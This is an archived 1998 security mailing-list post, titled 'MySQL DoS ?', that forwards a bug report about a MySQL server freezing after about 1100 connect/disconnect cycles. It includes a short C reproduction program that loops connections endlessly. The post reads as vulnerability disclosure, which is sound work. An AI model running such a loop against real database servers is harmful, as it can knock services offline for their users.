The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


MySQL DoS ?


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Sat, 15 Aug 1998 03:15:49 +0200
From: Phear Me <[email protected]>
To: [email protected]
Subject: MySQL DoS ?

This appeared at the MySQL list:


Date: Fri, 14 Aug 1998 18:50:02 +0200
From: Jochen Wiedmann <[email protected]>
Subject: mysql: Connecting/Disconnecting 1100 times freezes server

Received: (from root@localhost)
        by laptop.ispsoft.de (8.8.8/8.8.8) id SAA08052
        for [email protected]; Fri, 14 Aug 1998 18:42:55 +0200
Date: Fri, 14 Aug 1998 18:42:55 +0200
Full-Name: root
Message-Id: <[email protected]>
From: joe
To: [email protected]
Subject: connecting/disconnecting 1100 times freezes server

>Description:

        A simple test script that connects/disconnects in an endless
        loop makes the MySQL server freeze after approximately 1100
        iterations.

        Is this a bug or a security related feature? If the latter,
        can I turn it off somehow, as it prevents me from
        investigating a memory leak in the DBD::mysql's connect
        method.

>How-To-Repeat:

        #include <stdlib.h>
        #include <string.h>
        #include <stdio.h>
        #include <mysql/mysql.h>

        int main(int argc, char* argv[]) {
            MYSQL sock;
            int i = 0;

            while (1) {
                if (++i % 100 == 0) {
                    printf("%d\n", i);
                }
                mysql_init(&sock);
                if (!mysql_real_connect(&sock, NULL, NULL, NULL, NULL,
                                        0, NULL, 0)) {
                    fprintf(stderr, "Cannot connect: %s\n",
                            mysql_error(&sock));
                    exit(10);
                }
                mysql_close(&sock);
            }
        }

>Fix:
        Not known

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру